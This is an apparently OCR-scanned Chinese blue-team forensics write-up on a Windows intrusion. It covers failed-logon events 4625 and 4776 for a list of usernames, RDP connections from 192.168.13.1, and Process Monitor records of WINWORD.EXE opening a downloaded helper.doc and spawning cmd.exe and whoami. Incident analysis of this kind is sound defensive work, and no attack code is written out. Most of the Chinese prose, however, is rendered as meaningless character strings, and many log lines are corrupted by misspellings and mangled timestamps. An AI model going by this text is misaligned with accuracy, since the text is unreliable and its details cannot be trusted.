Gitee #2 qingmei ZIIHE : https:/gitee.com/datasecurity-qunzhong/ging-mei-login

EHEEE: https:/gitee.com/datasecurity-qunzhong/ging-mei-login/blob/master/scrubbers.py,

3

ERER 55 54, B83https//www.yuque.com/shuanxiaoming/gsx1eb/efnpu3

4

MFEE S 5Y, BFhttps://zhuanlan.zhihu.com/p/521587651



af://n286
af://n287
https://github.com/Tristan-Hao/Green-Berry
https://github.com/Tristan-Hao/Green-Berry/blob/main/scrubbers.py
af://n292
https://gitee.com/datasecurity-qunzhong/qing-mei-login
https://gitee.com/datasecurity-qunzhong/qing-mei-login/blob/master/scrubbers.py
af://n295
https://www.yuque.com/shuanxiaoming/gsx1eb/efnpu3
af://n297
https://zhuanlan.zhihu.com/p/521587651

5

CSDN R & |58, B8Ihttps://blog.csdn.net/haoxin1983/article/details/125905827

BlueTeam

A EE

1

&HE Security B, RUBZMHRPERIRED
newguest

link3

ming

tony

Guest

Adminnistrator

NewGuest

strike

miao

PIERIL ming IXMKFUFREZIXIEN, SRR

Security  E{$# 1,960

BRER AR =Ra B R,

HEZRM): Ze

EiB(S): Microsoft Windows security iZZ#3/E)(D):
=44 ID(E): 4625 1ESZERUY):
RBU(L): a8 FBF(K):
RFU): HER HEWR):
RSB TIIMN. =B

& EHAFNRE) iR B4 ID {E55

@DER 2022/6/27 22:13.05 Micros... 4625 Logon

@%E 2022/6/27 22:13:05 Micros... 4776 Credential Validation
(s 2022/6/27 22:13:05 Micros... 4625 Logon

@EE 2022/6/27 22:13:05 Micros... 4776 Credential Validation
@DEa 2022/6/27 22:13:05 Micros... 4625 Logon

@f.%% 2022/6/27 22:13:05 Micros... 4776 Credential Validation

=8 2022/6/27 22:13:05

@EE 2022/6/27 22:13:05 Micros... 4776 Credential Validation
@DER 2022/6/27 22:13:05 Micros... 4625 Logon

@ =5 2022/6/27 22:13:05 Micros... 4776 Credential Validation
DER 2022/6/27 22:13:05 Micros... 4625 Logon

mE_E INIDIELDIT DI-13-08 Mirroc ATTE  Cradantial \ialidatine
X+ 4625, Microsoft Windows security auditinz.

B HEER
BHEEE 0

"EEE" FRISAMAES CERSRIOKS. XBEEE—MES G0 Server FRS)aAH#HE (0 Winlogon.exe & Services.exe).

2022/6/27 22:13:05
Logon

BRI
WIN-V2GM28FF7A8


af://n299
https://blog.csdn.net/haoxin1983/article/details/125905827
af://n301
af://n302

SIEAZ Ming Bz
2

iBlog1.pcapPHIFT A I pFIET eI 2RSS, RINE192.168.13.1:3389

Erh33892windowsiTi2 R Eik

3
94, ROTREISGIER, &I tior.exe #1 WINWORD.EXE $THER, 1B3iEIR

BRIEE, & WINWORD.EXE 5—/XFTFFHISIH-E helper.doc

¥ Process Monitor - C:\Users\53124\Desktop\Logs\Logfile.PML
File Edit Event Filter Tools Options Help

BEIRTIYTAC & F L 7 E =22 M

Time of Day Process Name PID Operation Path Result
22:16:09, 9625799 5 Explorer. EXE 3082 = CloseFile C:\Usersming\Downloads SUCCESS
:09. 9626789 |, Explorer. EXE 3082 = QuerySecurityFile C:\Users'ming\Downloadsihelper. doc EUFFEER OVERFLOW
:09. 9626789 [ Explorer. EXE 3082 W QuerySecurityFile C:\Usersiming\Downloadsh\helper. doc SUCCESS
:09.9625799 5 Explorer. EXE 3052 = QueryBasicInformationFile C:\Users‘ming\Downloads‘helper.doc SUCCESS
09. 9626789 |, Explorer. EXE 3062 % CloseFile C:\Usersiming\Downloadshhelper. doc SUCCESS
109, 9635647 5 Explorer. EXE 3082 = CreateFile C:\Usersming\Iownloadshhelper. doc SUCCESS
009, 9626683 |, Explorer. EXE 3082 = QueryBasicInformationFile C:\Users‘mingi\Dowmloadshhelper.doc SUCCESS
:09. 96356710 5 Explorer. EXE 3082 % CloseFile C:\Usersiming\Downloadsh\helper. doc SUCCESS
:09.9635791 5 Explorer. EXE 3052 = CreateFile C:\Usersiming\Downloadsshelper. doc SUCCESS
09. 9636783 |, Explorer. EXE 3062 ' QueryBasicInformationFile C:\Users‘mingiDownloadsihelper. doc SUCCESS
:09. 96356784 [ Explorer. EXE 3082 % CloseFile C:\Usersiming\Downloadsh\helper. doc SUCCESS
:09. 96566683 |, Explorer. EXE 3082 = CreateFile [SFRY SUCCESS
09. 9656718 | Explorer. EXE 3052 ' QueryNameInformationFile C:% SUCCESS
:09.9655737 5 Explorer. EXE 3052 ' QuervittributeInformati...Coy SUCCESS
09. 9656762 |, Explorer. EXE 3062 & CloseFile iy SUCCESS
:09. 9656772 [ Explorer. EXE 3082 % CreateFile C:\Usersiming\Downloadsh\helper. doc SUCCESS
:09. 96566779 |, Explorer. EXE 3082 = QuerySecurityFile C:\Users'ming\Downloadsihelper. doc EUFFEER OVERFLOW
09. 9656784 | Explorer. EXE 3052 W QuerySecurityFile C:\Usersming\Downloadshhelper. doc SUCCESS
:09.9655788 5 Explorer. EXE 3052 ' QuerslNameInformationFile C:\Users‘ming\Downloads‘helper.doc SUCCESS
109, 9655781 |, Explorer. EXE 30582 = CreateFile C:\Usersiyming\Downloads SUCCESS
:09. 96EGTTE [ Explorer. EXE 3082 W QuerySecurityFile C:\Usersiyming\Downloads EUFFER OVERFLOW
:09. 0666784 |, Explorer. EXE 3082 = QuerySecurityFile C:\Uzersiming\Dovmloads SUCCESS
09. 9ABEETE8 [ Explorer. EXE 3052 % CloseFile C:\Usersiming\Downloads SUCCESS
:09. 9665793 5 Explorer. EXE 3052 = QuerySecurityFile C:\Usersiming\Downloadsshelper. doc BUFFER OVERFLOW
:09. 9665785 |, Explorer. EXE 3082 = QuerySecurityFile C:\Users'ming\Downloadsihelper. doc SUCCESS
:09. 9666786 [ Explorer. EXE 3052 ' QueryBasicInformationFile C:\Users‘ming\Downloadsthelper. doc SUCCESS
:09. 9668787 |, Explorer. EXE 3082 = ClozeFile C:\Uzersiming\Downloadsihelper. doc SUCCESS
09. 9ABEGETES | Explorer. EXE 3052 % CreateFile C:\Usersming\Downloadshhelper. doc SUCCESS
109, 9665800 5 Explorer. EXE 3052 ' QueryBasicInformationFile C:\Users‘ming\Downloadshelper.doc SUCCESS
:09. 9665800 |, Explorer. EXE 30582 & CloseFile C:\Users'ming\Downloadsihelper. doc SUCCESS
:09. 9685752 [ Explorer. EXE 3082 % CreateFile C:\Usersiming\Downloadsh\helper. doc SUCCESS
:09. 9685764 -, Explorer. EXE 3082 = QueryBasicInformationFile C:\Users‘ming‘\Downloads‘helper.doc SUCCESS
09. 96B5TT3 | Explorer. EXE 3052 % CloseFile C:\Usersming\Downloadshhelper. doc SUCCESS
109, 9698729 5 Explorer. EXE 3052 = CreateFile C\Usersiming\Dovnloadsshelper. doc SUCCESS
0 16:09. 9699055 | Explorer. EXE 3082 = QuerySecurityFile C:\Users'ming\Downloadsihelper. doc EUFFER OVERFLOW
22:16:09. 9608209 | Explorer. EXE 3082 % CloseFile C:\Usersiming\Downloadsh\helper. doc SUCCESS
:16:09.9700148 [, Explorer. EXE 3082 = CreateFile C:\Uzersiming\Downloadsihelper. doc SUCCESS
22:16:09. 9700461 Explorer. EXE 3062 # QuerySecurityFile C:\Usersiming\Downloadshhelper. doc SUCCESS
22:16:09. 9706619 |, Explorer. EXE 3082 = CreateFile C: \Windowsh\Resources' ThemesiAeroiShell\NornalColorhshellstyle. d11 SUCCESS
22:16:09. 9705662 | Explorer. EXE 3082 % QueryBasicInformationFile C:\Windows'\ResourcesiThemes\AeroiShell\NormalColorishellstyle. d11 SUCCESS
22:16:09, 9708685 ., Explorer. EXE 3082 = ClozeFile C:\Windows\Resources'\ThemessAerotShell\NormalColorishellstyle. d11 SUCCESS
22:16:09. 9706740 |, Explorer. EXE 3062 ¥ CreateFile C: \WindowshResources' ThemesiAero4Shell\HornalColorhshellstyle. d11 SUCCESS
22:16:09, 9705755 5 Explorer. EXE 3052 = CreateFileMapping C:\Windows\Resources'\ThemessAerotShell\NormalColorishellstyle. d11 FILE LOCKED WI...
22:16:09. 9706766 |, Explorer. EXE 3082 = QueryStandardInformatio. .. C: \Windows\Resources'ThemestAerotShell\NormalColoxrhshellstyle. d11 SUCCESS
22:16:09. 97057681 | Explorer. EXE 3082 % CreateFileMapping C:\Windows\Rezources'\ Themes'AerotShell\HormalColor\shellstyle. d11 SUCCESS
22:16:09. 9705790 5 Explorer. EXE 3052 ' ClozeFile C:\Windows\Resources'\ThemessAerotShell\NormalColorishellstyle. d11 SUCCESS
22:16:09. 9718107 svchost. exe 1212 TCP Send WIN-V2GM28FFTAR. localdomain: ms-wbt—-server —> 192. 1A8.13.1: 12843 SUCCESS
22:16:09, 9813356 svchost. exe a1z TCP Send WIN-VZGM28FF 748, localdomain: me-wht-server —» 192, 166, 13,1:12843 SUCCESS
22:16:09. 9906879 svchost. exe 1212 TCP Send WIN-V2GM28FFTAR. localdomain: me-wbi-server —-> 192, 168.13.1:12843 SUCCESS
22:16:09. 9930566 ® svchost. exe 1212 TCP Receive WIN-V2GM28FFTAR. localdomain: ms-wbt—server —» 192. 166.13.1: 12843 SUCCESS

=R, A
4

{68 Process Tree ¥, PAERFTHIEN, RMAIGHIERT, =iAIh
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B Process Tree - C:\Users\53124\Desktop\Logs\Logfile.PML

[ Only show processes still running at end of current trace

Timelines cover displayed events only

Process
G_ chrome. exe (2372}
3% chrome. exe (4320)
—] [‘T WINWORD. EXE (2864}
iz cmd. exe (2006)
.+ whoami. exe (3930)
—|i::iomd. exe (5628)
.+ whoami. exe (5936)
» audgky. exe (B052)
siomd, exe (4668)
veprep. exe (4796)

Laysprep. exe 12204)

: tior.exe (5492)

—| 55 ond. exe (5160)
T

| /@ csrss. exe (B60)
c:on.host. exe [ZB16)
E.Il winlogon. exe (2228)
— __1 Explorer.EXE (2620)
7l vmidservice. exe (2943}
Fm cnd. exe (2616)

iProcmon. exe (G064)

5

Description Image Path Life Time Company Oymer
Google Chrome C:\Program... Google LLC WIN-VZcMza. ..
Google Chrome C:%\Frogram... Google LLC WIN-V2GM2a. ..
Microzoft ... C:‘\Program... Microsoft ... WIN-V2GM238...
Vindows Co... C:\Windows... Microsoft ... WIN-V2GM2E...
whoami - d... C:%Windows... Microsoft ... WIN-V2GM23...
Vindows Co... C:\Windows... Microsoft ... WIN-V2GM2E...
whoami - d... C:%Windows... Microsoft ... WIN-V2GM23...

Cowlzersim. .. WIN-V2GMZ8. ..

Vindows Co... C:%Windows... Microsoft ... WIN-V2GM23...
Syztem Pre... C:\Windows... Microsoft ... WIN-W2GM23...
System Pre... C:\Windows... Microsoft ... WIN-V2GM2E8...

Cowlzersim. .. WIN-V2GMZ8. ..

Vindows Co... C:%Windows... Microsoft ... WIN-V2GM23...

<

LpacheBenc. ..

Client Ser...
Conzole Wi...
Windows Lo...
Vindows Ex...
TMware SWG. ..

Vindows Co...

Ia]

SWindows, ..
SWindows. ..
SWindows, ..
SWindows. ..

SWindows, ..

[ I T B B T |

SWindows. ..

Apache Sof...

Microsoft ...

Microsoft ... WIN-V2GM2E...
Microsoft ... HNT AUTHORI...
Microsoft ... WIN-V2GM2E...
VMware, Inc. WIN-V2GM23...
Microsoft ... WIN-V2GM2E...

ERTBESMHARINA include, BEEAMZHXME, HPE SHIEBEXER:

uooo

LlUEECLLE

AL IFTHEFASLLLKERI X TN IR D I =M b« KLEE

NT AUTHORI...

Sd. 1P, dd. Tl TUgUL = LEPIULEL. DAL
22:19: 32, THTE092 -, Explorer.EXE
22:19:32. 75763897 5 Explorer. EXE
22:19:32. 7576648 | Explorer.EXE
22:19: 32, TH7A890 |5 Explorer. EXE
22:19: 32, 7877699 | Explorer. EXE
22:19:32, 7678010 5 Explorer.EXE
22:19:32. 7579249 - Explorer.EXE
22:19:32.7579484 - Explorer.EXE
22:19:32, 7880918 5 Explorer. EXE
22:19:32. 7582267 5 Explorer.EXE
22:19:32, 7882757 5 Explorer.EXE
22:19:32.7584204 - Explorer.EXE
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22:19:32, 7885334 | Explorer. EXE
22:19: 32, ThEE668 = Explorer.EXE
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22:19:32.7892888 5 Explorer.EXE
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3876 ‘m QuerviAttributeInformati. ..

3BTE = ClozeFile
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3676 = QueryBasicInformationFile
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5888  CloseFile CATIERE st rike M3\ FIFER G, x1sx
5764 <2 Thread Exit
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» ClozeFile
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m ClozeFile
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= ClozeFile
s CreateFile
v CueryNameInformationFile
¢ QueryittributeInformati...

= CreateFile
y CuerysecurityFile
m QuerySecurityFile
» ClozeFile

= GuervBazicInformationFile
m ClozeFile

s CreateFile

v JueryNameInformationFile

= CreateFile
y CuerysecurityFile
m QuerySecurityFile
» ClozeFile

= GuervBazicInformationFile
» ClozeFile
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QueryiecurityFile
CuerySecurityFile

ClozeFile

CreateFile

CuervittributeInformati...
ClozeFile
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STEAEVHER A THEIME. xlex
SIEEFEVHER R THEEFE. xlax
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S TR WVHEN R B R E 848, docx
SIEEEVHENFERMH BB, docx
SIEEE VM EEEMNHEER. doox
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YWWindows'Kezourcesz'Themez\terohShell\NormalColorishellstyle, d11
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s CreateFile
v QueryNameInformationFile
QueryAttributeInformati...
= ClozeFile
= CreateFile
m QuerysecurityFile
y QuerySecurityFile
ClozeFile
» CreateFile
m JueryBaszicInformationFile
' ClnseFlle
R
4l bi.bdby¥dal  BEplorer. bk a0t
21:57. 6269491 -, Explorer. EXE 3576
21:57. 6269766 - Explorer. EXE 3576
21:57. 6260095 -, Explorer. EXE 3576
21:57. 6260354 - Explorer. EXE 3576
21:57. 6260619 - Explorer. EXE 3576
21:57. 6261529 - Explorer. EXE 3576
21:57. 6261774 o Explorer. EXE 3576
21:57. 6262024 - Explorer. EXE 3576
21:57. 6262468 |, Explorer. EXE 3676
21:57. 262708 | Explorer. EXE 3676
21:57. 6263424 | Explorer. EXE 3676
21:57. 6307076 | Explorer. EXE 3676
21:57. 6308976 | Explorer. EXE 3676
21:57. 6309276 |- Explorer. EXE 3676
21:57. 6309976 -, Explorer. EXE 3576
21:57. 6312177 - Explorer. EXE 3576
21:57. 6312671 - Explorer. EXE 3576
21:57. 6313533 - Explorer. EXE 3576
21:57. 6313792 -, Explorer. EXE 3576
21:57. 6314277 5 Explorer. EXE 3576
21:57. 6314969 - Explorer. EXE 3576
21:57.6315224 - Explorer. EXE 3576
21:57. 6315600 - Explorer. EXE 3576
21:57. 6326819 |, Explorer. EXE 3676
21:57. A326266 | Explorer. EXE 3676
21:57. 6326533 | Explorer. EXE 3676
21:57. 4326782 | Explorer. EXE 3676
21:57. 4327804 | Explorer. EXE 3676
21:57. 6328267 |- Explorer. EXE 3676
21:57. 6328504 -, Explorer. EXE 3576
21:57. 6328742 -, Explorer. EXE 3576
21:57. 6332023 -, Explorer. EXE 3576
21:57. 6333231 -, Explorer. EXE 3576
21:57. 6333459, Explorer. EXE 3576
21:57. 6334439 - Explorer. EXE 3576
21:57. 6334761 o Explorer. EXE 3576
21:57. 6335020 5 Explorer. EXE 3576
21:57. 6335264 - Explorer. EXE 3576
21:57. 6336120 |, Explorer. EXE 3676
21:57. 4336442 | Explorer. EXE 3676
21:57. 6336683 | Explorer. EXE 3676
21:57. 6336920 | Explorer. EXE 3676
21:57. 4338307 | Explorer. EXE 3676
21:57. 6338601 | Explorer. EXE 3676
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™ headhlle LA LIFBEZR VM AR LI AR ES IS S 10HE ) JELsx
= ReadFile CoTFEE VN AT AR EIRER (S5HIE) xlsx
= ReadFile CoTFEE VN AT AR EIRER (S5HIE) xlsx
= ReadFile CoTFEE VN AT AR EIRER (S5HIE) xlsx
 ReadFile CHIfMEERHEhA I T AREERE (BSHE) -xlsx
# ReadFile COTRBER VIR T A FIRE (EHRIE) .xlsx
# ReadFile COTRBER VIR T A FIRE (EHRIE) .xlsx
# ReadFile COTRBER VIR T A FIRE (EHRIE) .xlsx
# ReadFile COTRBER VIR T A FIRE (EHRIE) .xlsx
# ReadFile COoIfRBE VIR T A FiLE (EBMIE) xlsx
# ReadFile COIEEEVHENR A FiRk (EHMIE) .xlsx
# ReadFile COIFEEVHINA T ARRERE (E5MHIE) .xlsx
¥ NotifyChangeDirectory cnIEAxE

# ReadFile COIFEEVEINA T AERERE (E5HIE) xlsx
= ReadFile COTFEE VIR AT AEREER (S5HIE) xlax
= ReadFile CoTFEE VN AT AR EIRER (S5HIE) xlsx
= ReadFile CoTFEE VN AT AR EIRER (S5HIE) xlsx
= ReadFile CoTFEE VN AT AR EIRER (S5HIE) xlsx
= ReadFile CoTFEE VN AT AR EIRER (S5HIE) xlsx
 ReadFile CHIfMEERHEhA I T AREERE (BSHE) -xlsx
# ReadFile COIFEE VN A T AERBRIEE (E5HIE) .xlsx
# ReadFile COIFEE VN A T AERBRIEE (E5HIE) .xlsx
# ReadFile COIFEE VN A T AERBRIEE (E5HIE) .xlsx
# ReadFile COTFEE VN AT - ARRBRIEER (EBRHIE) .xlsx
= CreateFile Con

= QuerylaneInformationFile C:4

= QueryittributeInformati... Co Y

= CloseFile Ciy

# CreateFile CALFRRVMENR T AEREIER (S8HIE) .xlex
m QuerySecurityFile COTFEE VIR AT AEREER (S5HIE) xlax
= QuerySecurityFile couTIEEEVFENR Fin® (SSHIF) cxlsx
# CloseFile CoIAREs FinE (HHMIE xlex
= CreateFile oy TIRIBZE Fin® (SSHIF) cxlsx
m QueryBasicInformationFile C \If’ﬂﬁ%\*ﬁ*ﬂl\)\lj\)\ EEEILE (S5MIF) .xlsx
m CloseFile CHOTFERVENAT T ARRERE (EHHIE) .xlsx
= CreateFile iy

v QuerylameInformationFile C:%

m QuervittributeInformati... Co 4

m CloseFile iy

m CreateFile CATEAXMENRA T AEREREE (B5MHIE) .xlex
# QuerySecurityFile cHhIEER R T AREE RS (S8HIE) . xlsx
# QuerySecurityFile conIIEREREN R BiRE (ESMHIE) cxlsx
# CloseFile ConIIEE= s Bk (SHMIE) . xlex
# CreateFile CoyT{ERENFH FERRE (EFMIE) .xlsx
= QuervBasicInformationFile COHOT{REZVHERATHAREEEE (ESHIE) (xlax
= ClnzeFile CHTEREPFEND T AERERE (SBMHIFY (xlax
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